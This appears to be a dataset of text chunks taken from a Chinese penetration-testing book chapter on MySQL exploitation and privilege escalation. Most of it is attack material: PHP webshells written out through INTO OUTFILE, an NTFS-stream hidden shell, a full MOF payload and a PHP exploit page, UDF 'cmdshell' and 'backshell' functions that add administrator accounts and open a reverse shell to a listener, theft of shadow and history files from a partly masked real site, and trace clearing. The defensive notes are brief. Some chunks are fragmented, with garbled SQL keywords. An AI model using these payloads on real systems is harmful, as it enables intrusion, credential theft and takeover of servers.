    {"text": "当然，对于 MySQL 5.6 以下版本， 由于设计 MySQL 程序时对安全性的重视程度非常低，用户密码是明文传输的，MySQL 对 binary log 中与用户密码相关的操作是不加密的。 如果向 MySQL 发送例如“create user, grant user……identified 265 网络攻防实战研究：漏洞利用与提权 by”这样携带了初始明文密码的指令，会在 binary log 中原原本本地体现出来。"},
    {"text": "执行“mysqlbinlog binlog.000001”命令，如图 5-2 所示。 图 5-2 查看 binary log 2．获取 MySQL 数据库的 user 表 MySQL 的所有设置默认都保存在 C:\\Program Files\\MYSQL\\MYSQL Server 5.0\\data\\MYSQL 中， 也就是安装程序的 data 目录下。"},
    {"text": "MySQL 数据库用户的密码都保存在 user.MYD 文件中，包括 root 用户和其他用户的密码。 在有权限 的情况下，可以将 User.frm、user.myd 和 User.myi 下载到本地，通过本地的 MySQL 环境直接读取 user 表中的数据。 当然，也可以使用文本编辑器将 user.MYD 打开，将 root 账号的密码复制出来，到 cmd5.com 网站进行查询和破解。 对于 MySQL 数据库密码，如果无法通过 cmd5.com 等网站查询， 则需要手动破解。 3．MySQL 密码查询 可以通过以下查询语句直接查询 MySQL 数据库中的所有用户和密码。 select user,password from mysql.user; select user,password from mysql.user where user ='root'; 4．MySQL 密码加密算法 MySQL 实际上使用了 2 次 SHA1 夹杂 1 次 unhex 的方式对用户密码进行了加密，具体的算法用 公式表示为“password_str = concat('*'，sha1(unhex(sha1(password))))”，可以通过如下查询语句进行 验证，查询结果如图 5-3 所示。 select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword')))); 图 5-3 MySQL 数据库加密算法 266 第 5 章 MySQL 漏洞利用与提权 5.1.3 通过 MySQL 获取 WebShell 通过 MySQL root 账号获取网站 WebShell 的条件如下。"},
    {"text": "对于 PHP magic_quotes_gpc=on 的情况，即使不对输入和输出数据 库的字符串数据进行 addslashes() 和 stripslashes() 操作，数据也会正常显示。 对于 PHP magic_quotes_gpc=off 的情况，必须使用 addslashes()对输入的数据进行处理，但不需要使用 stripslashes()进行格式化输出，因为 addslashes()并未将反斜杠一起写入数据库，只是帮助 MySQL 完成了 SQL 语句的执行。"},
    {"text": "直接导出 WebShell，执行如下语句。 Select '<?php eval($_POST[cmd])?>' into outfile '物理路径'; and 1=2 union all select 一句话 HEX 值 into outfile '路径'; 也可以通过创建表直接完成，“d:/www/exehack.php”为 WebShell 的名称和路径，具体如下。"},
    {"text": "CREATE TABLÈmysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTÒmysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST [pass]);?>'); SELECT `darkmoon1` FROM `darkmoonÌNTO OUTFILE 'd:/www/exehack.php'; DROP TABLE IF EXISTS `darkmoon`; 在掌握了 MSSQL 数据库口令的情况下，如果服务器环境是 Windows Server 2008，Web 环 境是 PHP，则可以通过 SQLTOOL 直接连接命令，通过如下命令写入 Shell。"},
    {"text": "echo ^<?php @eval(request[xxx])? ^^>^ >c:\\web\\www\\shell.php 5.1.4 MySQL 渗透技巧总结 1．常见的有助于渗透的 MySQL 函数 在对 MySQL 数据库架构的渗透中，MySQL 内置的 DATABASE()、USER()、SYSTEM_USER()、 SESSION_USER()和 CURRENT_USER()函数可以用来获取一些系统信息。"},
    {"text": "c:/windows/php.ini：PHP 配置信息。 c:/windows/my.ini：MySQL 配置文件，记录管理员登录过的 MySQL 用户名和密码。 c:/winnt/php.ini。 c:/winnt/my.ini。"},
    {"text": "c:\\Program Files\\RhinoSoft.com\\Serv-U\\ServUDaemon.ini：存储了虚拟主机中的网站路径和 密码。 267 网络攻防实战研究：漏洞利用与提权 c:\\Program Files\\Serv-U\\ServUDaemon.ini。"},
    {"text": "c:/Resin-3.0.14/conf/resin.conf：JSP 开发的网站 resin 文件配置信息。 c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf：查看 Linux 系统配置的 JSP 虚拟主机。"},
    {"text": "/usr/local/app/apache2/conf/httpd.conf：Apache 2 默认配置文件。 /usr/local/apache2/conf/httpd.conf。 /usr/local/app/apache2/conf/extra/httpd-vhosts.conf：虚拟网站设置。 /usr/local/app/php5/lib/php.ini：PHP 相关设置。"},
    {"text": "/usr/local/app/apache2/conf/extra/httpd-vhosts.conf：虚拟网站设置。 /etc/httpd/conf/httpd.conf 或/usr/local/apche/conf/httpd.conf：Linux Apache 虚拟主机配置文件。"},
    {"text": "/usr/local/resin-3.0.22/conf/resin.conf：针对 3.0.22 版本的 resin 配置文件。 /usr/local/resin-pro-3.0.22/conf/resin.conf：同上。"},
    {"text": "replace(load_file(0×2F6574632F706173737764)，0×3c，0×20)。 replace(load_file(char(47，101，116，99，47，112，97，115，115，119，100))，char(60)， char(32))。"},
    {"text": "SELECT LOAD_FILE('/etc/passwd' ) SELECT LOAD_FILE('/etc/issues' ) 268 第 5 章 MySQL 漏洞利用与提权 SELECT LOAD_FILE('/etc/etc/rc.local' ) SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 在 Linux 下，通过 load_file 函数读取的数据库有可能是 hex 编码形式的，要想正常查看，需要 使用“记事本”程序将以上代码全部选中，然后选择“Converter”→“HEX-ASCII”选项进行转换。"},
    {"text": "select 'xxx' into outfile 'D:\\\\mysql\\\\lib::$INDEX_ALLOCATION'; 执行以上命令后，会在 MySQL 目录下生成一个 lib 目录，这样就可以将 udf 放在这个插件目录 下了。"},
    {"text": "echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg 这样就生成了一个不可见的 Shell-a.jpg，使用常规的文件管理器、type 命令、dir 命令、del 命令 都找不到这个文件。"},
    {"text": "netstat -an |find \"3389\" //查看 3389 端口是否开放 tasklist /svc | find \"TermService\" //获取对应 TermService 的 PID netstat -ano | find '1340' //查看上面获取的 PID 所对应的 TCP 端口号 通过 Windows Server 2008 命令行开启 3389 端口，代码如下。"},
    {"text": "wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_ terminalservicesetting where (__CLASS != \"\") call setallowtsconnections 1 wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v 通过“wce64 -w”命令直接获取系统明文登录密码。"},
    {"text": "在 Linux 终端提示符下查看 MySQL 的相关信息，命令为“ps -ef|grep mysql”。 在 Linux 下启动 MySQL 服务命令为“service mysqld start”。 在 Linux 下查看 mysqld 是否启动，命令为“ps -el | grep mysqld”。 查看 MySQL 的位置，命令为“whereis mysql”。 查询运行文件所在路径，命令为“which mysql”。"},
    {"text": "select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an'); 4．一些常见的 MySQL 命令 （1）连接到 MySQL 服务器 mysql -h 192.168.0.1 -u root -pantian365.com antian365 （2）查看所有数据库 show databases; （3）使用某个数据库 use testdatabase; （4）查看数据库中所有的表 show tables; （5）在 test 数据库下创建表 create table a (cmd text); （6）通过在表中插入内容来添加用户 insert into a values (\"set wshshell=createobject (\"\"wscript.shell\"\" ) \" ); nsert into a values (\"a=wshshell.run (\"\"cmd.exe /c net user 1 1/add\"\",0) \" ); insert into a values (\"b=wshshell.run (\"\"cmd.exe /c net localgroup administrators 1 /add\"\",0) \" ); （7）查询 a 表中所有的数据 select * from a （8）导出数据到系统的某个目录下 select * from a into outfile \"c:\\\\docume~1\\\\alluse~1\\\\「开始」菜单\\\\程序\\\\启动 \\\\a.vbs\"; 270 第 5 章 MySQL 漏洞利用与提权 （9）查询数据库的路径 select @@datadir; （10）查看所有的 dir 路径 SHOW VARIABLES WHERE Variable_Name LIKE \"%dir\" （11）查看插件的路径 show variables like '%plugins%' ; （12）查询 MySQL 的安装路径 select @@basedir （13）常用内置函数 select system_user()：查询系统用户。"},
    {"text": "（15）删除表 drop table <表名> （16）快速定位数据库中涉及密码的表 此操作需要 information_schema 的支持，命令如下。 select table_schema,table_name,column_name from information_schema.columns where column_name like '%password%' ; 参考文章 http://www.jb51.net/hack/41493.html http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/ http://www.myhack58.com/Article/html/3/8/2016/75694.htm http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html 5.2 用 MOF 方法提取 MySQL root 权限 MySQL root 权限 MOF 方法提权来自 Kingcope 发布的 MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit（https://www.exploit-db.com/exploits/23083/），简称“MySQL 远程提权 0day”（MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day）。"},
    {"text": "微软建议用户使用前两种方法，也就是运行 Mofcomp.exe 文件或使用 IMofCompiler::CompileFile 方法，第三种方法仅为满足向后兼容性及对早期版本的 WMI 提供，并且此功能可能不会在将来的版 本中提供。"},
    {"text": "perl mysql_win_remote.pl 192.168.2.100 root \"\" 192.168.2.150 5555 192.168.2.100 为 MySQL 数据库所在服务器的 IP 地址，MySQL 口令为空，反弹到 192.168.2.150 的 5555 端口上。"},
    {"text": "#pragma namespace(\"\\\\\\\\.\\\\root\\\\subscription\") instance of __EventFilter as $EventFilter { EventNamespace = \"Root\\\\Cimv2\"; Name = \"filtP2\"; Query = \"Select * From __InstanceModificationEvent \" \"Where TargetInstance Isa \\\"Win32_LocalTime\\\" \" \"And TargetInstance.Second = 5\"; QueryLanguage = \"WQL\"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = \"consPCSV2\"; ScriptingEngine = \"JScript\"; ScriptText = \"var WSH = new ActiveXObject(\\\"WScript.Shell\\\")\\nWSH.run(\\\"net.exe user admin admin /add\")\"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 2．通过 MySQL 查询将文件导入 执行以下查询语句，将上面生成的 nullevt.mof 导入 c:\\windows\\system32\\wbem\\mof\\目录（在 272 第 5 章 MySQL 漏洞利用与提权 Windows 7 中默认拒绝访问）。"},
    {"text": "select load_file('C:\\\\RECYCLER\\\\nullevt.mof') into dumpfile 'c:/windows/ system32/wbem/mof/nullevt.mof'; 5.2.2 实战利用 1．实验环境 本次实验环境为 Windows Server 2003、Apache 和 PHP，已经拥有 WebShell 权限。 2．上传文件到可写目录 将 nullevt.mof 文件上传到服务器的可写目录下，例如 C:\\RECYCLER\\，如图 5-4 所示。 图 5-4 上传 nullevt.mof 文件 3．执行命令 配置好“中国菜刀”，然后通过数据库管理功能执行查询命令。"},
    {"text": "select load_file('C:\\\\RECYCLER\\\\nullevt.mof') into dumpfile 'c:/windows/ system32/wbem/mof/nullevt.mof'; 图 5-5 执行查询命令 4．查看执行结果 执行完毕，需要修改添加用户命令为将用户添加到管理员组，即“net.exe localgroup administrators admin/add\\”。 再次上传并查询，如图 5-6 所示，通过“net user”命令查看，admin 用户已被添加到系统中。"},
    {"text": "273 网络攻防实战研究：漏洞利用与提权 <?php $path=\"c:/windows/system32/canimei\"; session_start(); if(!empty($_POST['submit'])){ setcookie(\"connect\"); setcookie(\"connect[host]\",$_POST['host']); setcookie(\"connect[user]\",$_POST['user']); setcookie(\"connect[pass]\",$_POST['pass']); setcookie(\"connect[dbname]\",$_POST['dbname']); echo \"<script>location.href='?action=connect'</script>\"; } if(empty($_GET[\"action\"])){ ?> <html> <head><title>Win MOF Shell</title></head> <body> <form action=\"?action=connect\" method=\"post\"> Host: <input type=\"text\" name=\"host\" value=\"127.0.0.1:3306\"><br/> User: <input type=\"text\" name=\"user\" value=\"root\"><br/> Pass: <input type=\"password\" name=\"pass\" value=\"toor\"><br/> DB: <input type=\"text\" name=\"dbname\" value=\"mysql\"><br/> <input type=\"submit\" name=\"submit\" value=\"Submit\"><br/> </form> </body> </html> <?php exit; } if ($_GET[action]=='connect') { $conn=mysql_connect($_COOKIE[\"connect\"][\"host\"],$_COOKIE[\"connect\"][\"user\"], $_COOKIE[\"connect\"][\"pass\"]) or die('<pre>'.mysql_error().'</pre>'); echo \"<form action='' method='post'>\"; echo \"Cmd:\"; echo \"<input type='text' name='cmd' value='$strCmd'?>\"; echo \"<br>\"; echo \"<br>\"; echo \"<input type='submit' value='Exploit'>\"; echo \"</form>\"; echo \"<form action='' method='post'>\"; echo \"<input type='hidden' name='flag' value='flag'>\"; echo \"<input type='submit'value=' Read '>\"; echo \"</form>\"; if (isset($_POST['cmd'])){ $strCmd=$_POST['cmd']; 274 第 5 章 MySQL 漏洞利用与提权 $cmdshell='cmd /c '.$strCmd.'>'.$path; $mofname=\"c:/windows/system32/wbem/mof/system.mof\"; $payload = \"#pragma namespace(\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\root\\\\\\\\\\\\\\\\ subscription\\\") instance of __EventFilter as \\$EventFilter { EventNamespace = \\\"Root\\\\\\\\\\\\\\\\Cimv2\\\"; Name = \\\"filtP2\\\"; Query = \\\"Select * From __InstanceModificationEvent \\\" \\\"Where TargetInstance Isa \\\\\\\\\\\"Win32_LocalTime\\\\\\\\\\\" \\\" \\\"And TargetInstance.Second = 5\\\"; QueryLanguage = \\\"WQL\\\"; }; instance of ActiveScriptEventConsumer as \\$Consumer { Name = \\\"consPCSV2\\\"; ScriptingEngine = \\\"JScript\\\"; ScriptText = \\\"var WSH = new ActiveXObject(\\\\\\\\\\\"WScript.Shell\\\\\\\\\\\")\\\\\\\\nWSH.run(\\\\\\\\\\ \"$cmdshell\\\\\\\\\\\")\\\"; }; instance of __FilterToConsumerBinding { Consumer = \\$Consumer; Filter = \\$EventFilter; };\"; mysql_select_db($_COOKIE[\"connect\"][\"dbname\"],$conn); $sql1=\"select '$payload' into dumpfile '$mofname';\"; if(mysql_query($sql1)) echo \"<hr>Execute Successful!<br> Please click the read button to check the result!!<br>If the result is not correct,try read again later<br><hr>\"; else die(mysql_error()); mysql_close($conn); } if(isset($_POST['flag'])) { $conn=mysql_connect($_COOKIE[\"connect\"][\"host\"],$_COOKIE[\"connect\"] [\"user\"],$_COOKIE[\"connect\"][\"pass\"]) or die('<pre>'.mysql_error().'</pre>'); $sql2=\"select load_file(\\\"\".$path.\"\\\");\"; $result2=mysql_query($sql2); $num=mysql_num_rows($result2); while ($row = mysql_fetch_array($result2, MYSQL_NUM)) { echo \"<hr/>\"; echo '<pre>'. $row[0].'</pre>'; } mysql_close($conn); } 275 网络攻防实战研究：漏洞利用与提权 } ?> 图 5-6 添加用户成功 图 5-7 PHP 版本 MOF 提权 5.2.3 防范方法 MySQL root 权限 MOF 方法提权的前提是能够将上传的 nullevt.mof 复制到系统目录下（例如 c:\\windows\\system32\\wbem\\mof）。"},
    {"text": "网上有很多公开的利用程序，下面通过一个实例来介绍 MySQL 数据库如何利用 UDF 进行提权。 5.3.1 UDF 函数简介 UDF（user-defined function）是 MySQL 的一个拓展接口，也可称为用户自定义函数，是用来拓 展 MySQL 的技术手段，可以说是数据库功能的一种扩展。"},
    {"text": "用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能，其添加的新函数都可以在 SQL 语句中调用，就像调用本机函数（例如 ABS() 或 SOUNDEX()）一样方便。"},
    {"text": "http://dev.mysql.com/doc/refman/5.5/en/adding-functions.html https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html 除了常见的 UDF 提权外，UDF 还有更多、更广泛的应用，https://github.com/mysqludf/repositories 就提供了非常多的应用。"},
    {"text": "lib_mysqludf_stat：用于统计分析的 UDF 库。 lib_mysqludf_str：一个带有 MySQL 附加字符串函数的 UDF 库。 lib_mysqludf_sys：能与操作系统进行交互的 UDF 库。"},
    {"text": "通过用户定义的函数（UDF）接口添加函数：将用户定义的函数被编译为库文件，然后使用 “CREATE FUNCTION”和“DROP FUNCTION”语句动态地添加到服务器或从服务器中删除。"},
    {"text": "5.3.2 Windows 下 UDF 提权的条件和方法 Windows 下 UDF 提权适用于 Windows Server 2008 以下版本，也即针对 Windows 2000、Windows Server 2003 的成功率较高。 1．UDF 提权条件 如果 MySQL 版本大于 5.1，udf.dll 文件必须放置于 MySQL 安装目录的 lib\\plugin 文件夹下。 如果 MySQL 版本小于 5.1，udf.dll 文件在 Windows Server 2003 下放置于 c:\\windows\\system32 目录，在 Windows 2000 下放置于 c:\\winnt\\system32 目录。"},
    {"text": "2．提权方法 （1）获取数据库版本、数据位置及插件位置等信息 select version(); //获取数据库版本 select user(); //获取数据库用户 select @@basedir ; //获取安装目录 show variables like '%plugins%'; //寻找 MySQL 安装路径 （2）导出路径 C:\\Winnt\\udf.dll //Windows 2000 C:\\Windows\\udf.dll //Windows2003（有的系统被转义，需要改为 C:Windowsudf.dll） 如果是 MySQL 5.1 及以上版本，必须要把 udf.dll 文件放到 MySQL 安装目录的 libplugin 文件夹 下才能创建自定义函数。 该目录默认是不存在的，需要使用 WebShell 找到 MySQL 的安装目录，并 在安装目录下创建 libplugin 文件夹，然后将 udf.dll 文件导出到该目录。 在某些情况下，我们会遇到提示“Can't open shared library”的情况，这时需要把 udf.dll 导出到 lib\\plugin 目录下。"},
    {"text": "277 网络攻防实战研究：漏洞利用与提权 select @@basedir; //找到 MySQL 目录 select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib::$INDEX_ALLOCATION'; //利用 NTFS ADS 创建 lib 目录 select 'It is dll' into dumpfile 'C:\\\\Program Files\\\\MySQL\\\\MySQL Server 5.1\\\\lib\\\\plugin::$INDEX_ALLOCATION'; //利用 NTFS ADS 创建 plugin 目录 执行成功以后就会创建 plugin 目录，然后再导出 udf.dll 即可。"},
    {"text": "create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; （4）执行命令 select sys_eval(‘whoami’); 一般情况下不会出现创建不成功的情况。"},
    {"text": "select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an'); （5）清除痕迹 删除 udf.dll 文件及其他相关入侵文件及日志，命令如下。"},
    {"text": "drop function cmdshell; //将函数删除 （6）常见错误 在 my.ini 或者 mysql.cnf 文件中注销（使用“#”）包含“secure_file_priv”的行，命令如下。 #1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 278 第 5 章 MySQL 漏洞利用与提权 SHOW VARIABLES LIKE \"secure_file_priv\" option 需要将 my.ini 中的“skip-grant-tables”选项去掉，命令如下。 1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables 5.3.3 提权实例 1．设置 MySQL 提权脚本文件 将 MySQL 提权脚本文件上传到服务器并运行，对 IP 地址、UID、密码、数据库进行配置，如 图 5-8 所示。"},
    {"text": "图 5-8 设置 MySQL 提交脚本文件 2．进行连接测试 连接成功后，会给出相应的提示信息，如图 5-9 所示，包括用户、数据库、数据目录（datadir）、 基本目录（basedir）、版本、插件路径、MySQL 函数等。"},
    {"text": "图 5-9 连接测试 279 网络攻防实战研究：漏洞利用与提权 3．创建 shell 函数 单击“Dump UDF”按钮，将 UDF.DLL 文件导出到默认的插件目录下，然后单击“Create Function” 按钮创建 Shell 函数。"},
    {"text": "图 5-10 创建 Shell 函数 4．查看用户 在查询窗口中输入“select shell('cmd'，'net user')”命令，查看系统中所有的用户信息，如图 5-11 所示。 图 5-11 查看用户信息 5．创建具有管理员权限的用户 分别在查询框中输入脚本“select shell('cmd'，'net user temp temp123456')”、 “select shell('cmd'，'net 280 第 5 章 MySQL 漏洞利用与提权 localgroup administrators temp /add ')”，并执行该查询命令。 如果执行成功，则表示在系统中添加了 “temp”用户，密码为“temp123456”，同时将该用户添加到管理员组中，使其具备管理员权限。"},
    {"text": "图 5-12 添加 temp 用户 图 5-13 将 temp 用户添加到管理员组中 6．提权成功 在 SQL 查询框中输入“select shell('cmd'，'net localgroup administrators')”命令，查看用户是否添 加成功。"},
    {"text": "281 网络攻防实战研究：漏洞利用与提权 图 5-14 查看管理员用户 图 5-15 成功进入服务器 5.3.4 其他提权工具 v5est0r 编写了一个 MySQL 提权综合利用工具，详细情况请参考其代码共享网站 https://github. com/v5est0r/Python_FuckMySQL，其主要功能如下。"},
    {"text": "python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" -m udf LPK 劫持提权命令如下。 282 第 5 章 MySQL 漏洞利用与提权 python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" -m lpk 启动项提权命令如下。 python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" –m st 例如，通过 LOAD_FILE 查看 MySQL 配置文件 my.ini，如果其中配置了 skip-grant-tables，将无 法进行提权，示例如下，如图 5-16 所示。 LOAD_FILE('C:/Users/Administrator/Desktop/mysql-5.6.24-win32/my.ini'); 图 5-16 查看 MySQL 数据库配置文件 5.3.5 UDF 提权总结与防范 目前安装的 MySQL 数据库版本通常高于 5.1，所以，尽管通过 MySQL 查询可以导出 udf.dll， 但由于 MySQL 中 my.ini 文件的配置，有可能无法创建自定义函数，这时需要修改 my.ini 并重启。"},
    {"text": "1．提权总结 （1）有 WebShell 的提权 如果获取了 WebShell，提权就比较简单。 目前有很多用于 MySQL 提权的 PHP 脚本可以快速进 行提权，在此就不赘述了。 （2）无 WebShell 的提权 select version(); //获取 MySQL 版本 select @@basedir; //找到 MySQL 目录 SHOW VARIABLES LIKE '%plugin%' //查看高版本插件的位置 通过查询命令将 udf.dll 转换成代码插入数据库，然后导出，示例如下。 use mysql; set @a=concat('',0x 代码); create table Ghost(data LONGBLOB); insert into Ghost values(\"\");update Ghost set data = @a; 283 网络攻防实战研究：漏洞利用与提权 代码为“select hex(load_file('c:/udf.dll'))”中的内容，具体内容。 select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; // 导出 ufd.dll CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数 select backshell(\"192.168.40.135\",4444); （3）使用 Python_Fuck MySQL 工具自动提权 python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" -m udf python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" -m lpk python root.py -a 127.0.0.1 -p root -e \"ver&whoami\" –m st 2．防范方法 尽量避免提供对外连接，通过 MySQL 中的 user 表进行查看等操作，禁用“%”。"},
    {"text": "5.4 通过 MySQL 数据库反弹端口连接提权 在进行渗透或者安全评估时，有可能遇到一些比较“奇葩”的环境，即使通过 MySQL root 账号 和密码获取了 WebShell，但仍然无法执行命令。"},
    {"text": "5.4.1 反弹端口连接提权的条件 1．访问 MySQL 数据库 访问 MySQL 数据库的条件是获取了数据库 root 账号和密码或者相当于 root 权限的账号和密码， 同时能够执行查询命令。"},
    {"text": "2．文件目录 可以将文件 udf.dll 导出到系统目录或者 MySQL 数据库安装目录下的 lib 下的 plugin 目录。 如果 有上传条件，可以直接上传 udf.dll 到对应的目录。 MySQL 5.1 以下版本上传到 c:\\winnt\\system32 或 者 c:\\windows\\system32 目录，MySQL 5.1 以上版本上传到 MySQL 安装目录下的 plugin 目录（例如 D:\\ComsenzEXP\\MySQL\\lib\\plugin）。 3．授权 MySQL 数据库远程用户登录 可以修改 host 项为“%”，更新权限，然后通过 Navicat for MySQL 连接数据库，直接打开命令 提示窗口进行导出操作。"},
    {"text": "方法一：本地登录 MySQL，更改 MySQL 数据库的 user 表里的 host 项，将“localhost”改 284 第 5 章 MySQL 漏洞利用与提权 为“%”，命令如下。 use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ; 方法二：直接授权。 在任何主机上使用 root 用户（密码“youpassword”，即你的 root 密码） 连接 MySQL 服务器，命令如下。 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES; 5.4.2 实现方法 1．连接 MySQL 服务器 通过 MySQL 客户端工具直接连接。"},
    {"text": "3．添加用户或者获取管理员密码 通过反弹 Shell 添加用户“antian365”，密码“www.antian365.com”，命令如下。 net user antian365 www.antian365.com /add net localgroup administrators antian365 5.4.3 提权实例 1．在反弹监听服务器上进行端口监听 通过 cmd 命令提示符，执行 nc 监听命令“nc -vv -l -p 4444”，表示在本地监听 4444 端口。"},
    {"text": "2．修改 mysql.txt 文件中的反弹 Shell 地址 在 mysql.txt 文件中，将最后一行代码修改为前面设置的监听 IP 地址和端口，示例如下，如图 5-18 所示。 285 网络攻防实战研究：漏洞利用与提权 select backshell(\"192.168.40.135\",4444);//反弹监听服务器 IP 地址为 192.168.40.135， 端口为 4444 图 5-17 进行监听 图 5-18 修改查询代码中的反弹 Shell 地址和端口 也可以再次单独查询，命令为“select backshell(\"192.168.40.135\",4444);”。"},
    {"text": "drop table ghost; drop FUNCTION backshell; 如果已经存在 udf.dll，可以跳过导出命令，执行如下命令。 CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; 4．查看反弹结果 如图 5-20 所示为通过连接 MySQL 执行查询获取的终端反弹 Shell。"},
    {"text": "286 第 5 章 MySQL 漏洞利用与提权 图 5-20 查看反弹结果 5.4.4 防范方法 查看 MySQL 数据库中由 user 表授权的登录 host，禁止具备 root 账号权限的用户通过“%” 登录。"},
    {"text": "对 MySQL 执行程序进行降权，禁止网站用户读取 user.frm、user.myd、user.myi。 例如，禁 止网站用户读取和下载 D:\\ComsenzEXP\\MySQL\\data\\mysql 目录下的 user 表文件 user.frm、 user.myd、user.myi。"},
    {"text": "5.5 通过 MySQL 账号社工渗透某 Linux 服务器 本次渗透来源于文件包含漏洞的发现。 攻击者可以通过文件包含漏洞获取系统的敏感信息，并 通过这些信息进行渗透，同时利用社会工程学获取该 Linux 服务器的 root 账号密码，从而取得服务 器权限。"},
    {"text": "Acunetix Web Vulnerability Scanner （简称“AWVS”）是一款知名的网络漏洞扫描工具，它通过网络爬虫测试网站的安全性，检测流行 的安全漏洞，目前最新版本为 AWVS 1。"},
    {"text": "2．测试漏洞 对漏洞点“http://www.g********.org.cn/download?dir=information&fileName=”进行测试。 其中 “filename”为文件包含漏洞的位置，对其分别赋值“/etc/passwd”、“../etc/passwd”、“../../etc/passwd” 及“../../../etc/passwd”并进行测试，在其值为“../../../etc/passwd”时下载文件，查看其 passwd 的内 容，如图 5-22 所示。 同理，dir 参数也存在漏洞，当其值为“dir=../../../etc/passwd%00.jpg”时可以读 取 passwd 的内容。"},
    {"text": "287 网络攻防实战研究：漏洞利用与提权 图 5-21 发现文件包含漏洞 图 5-22 查看 passwd 的内容 5.5.2 利用已有信息渗透 MySQL 数据库 1．获取 shadow 文件的内容 将上面的漏洞参数换成“../../../../../../etc/shadow”，即可下载 shadow 文件。"},
    {"text": "图 5-23 获取 shadow 文件的内容 288 第 5 章 MySQL 漏洞利用与提权 2．获取.bash_history 和.mysql_history 的内容 分别将参数换成“../../../../../../root/.bash_history”和“../../../../../../root/.mysql_history”，如图 5-24 所示，成功获取其 root 和 MySQL 操作的历史记录文件。 3．分析历史记录文件 对 .bash_history 和 .mysql_history 文件进行分析，获取有用的信息，并对信息进行测试和验证。"},
    {"text": "目前网站中可能的配置文件：/Projects/WWW/WEB-INF/config/config.properties 和 /Projects/ SheTuan/WEB-INF/config/config.properties 数据库曾经使用的密码：“mysql -uroot -proot123”和“mysql -uroot -pxccRoot2012”命令。"},
    {"text": "图 5-24 获取历史记录文件 图 5-25 读取 config.properties 文件的内容 5．测试 MySQL 数据库连接 对目标所在网站进行端口扫描，发现其开放了 21、22、80、3306 及 8009 端口。"},
    {"text": "6．获取管理员后台管理密码及邮箱账号和密码 通过查看数据库表，获取该网站系统管理员表 systemuser。 打开该表，获取后台管理员账号、密 码、电子邮件等信息。"},
    {"text": "289 网络攻防实战研究：漏洞利用与提权 图 5-26 成功连接该 MySQL 数据库 图 5-27 获取管理员后台管理密码及邮箱密码 图 5-28 登录邮箱 5.5.3 进行社工攻击 1．收集所有发现的密码信息 对以上过程中所有涉及密码的文件和内容进行整理、分析和合并。"},
    {"text": "解压后，将获取的 shadow 文件及生成的密码字典直接放在 John the Ripper 目录下，运行 “john –wordlist=pass.txt shadow”命令，如图 5-30 所示，显示破解了 2 个密码。 执行“john –show shadow” 命令即可显示破解的用户密码信息，root 密码为 MySQL 数据库的 root 密码。 290 第 5 章 MySQL 漏洞利用与提权 图 5-29 整理密码字典 图 5-30 破解 root 账号密码 3．使用破解的密码登录 使用 SSH 登录客户端软件进行登录尝试。"},
    {"text": "图 5-31 使用破解的密码登录 5.5.4 总结与探讨 该服务器的密码为 MySQL 数据库 root 账号的密码，由此可以看出，在对 Linux 服务器进行渗 透时，收集到的密码将极有可能与 Linux 服务器密码相关。"},
    {"text": "5.6 MySQL root 口令的利用及提权 在一些正式运行或者处于测试阶段的网站中，由于管理人员疏忽大意造成的敏感信息泄露将导 致服务器的陷落，甚至导致整个内网域控服务器的陷落。"},
    {"text": "而且， 攻击者在获取了 Shell 的情况下，很有可能直接下载 user.frm、user.myd、user.MYI 文件，通过还原 291 网络攻防实战研究：漏洞利用与提权 数据库可以获取整个数据库的用户和密码。"},
    {"text": "通过漏洞获取 WebShell，直接读取 MySQL 数据库 data 目录下 mysql 数据库中的 user 表， 将文件下载到本地进行还原。 通过 SQL 注入等漏洞直接获取 WebShell，通过 WebShell 读取数据库配置文件。 下面以一个实际案例来分析攻击者如何通过漏洞获取源代码和 root 账号口令，以及如何在获取 WebShell 后进行提权。 由于在本案例中采用了 WAMP 架构，其配置绝大多数使用系统权限，且整站 有列目录漏洞，因此，攻击者可以通过列目录获取真实路径、源代码、备份文件等，对这种服务器 成功提权的可能性非常高。 5.6.1 分析及利用漏洞 1．分析 phpinfo 函数暴露出来的有用信息 如图 5-32 所示，从网站 phpInfo.php 程序运行的结果中我们可以获取以下有用的信息。"},
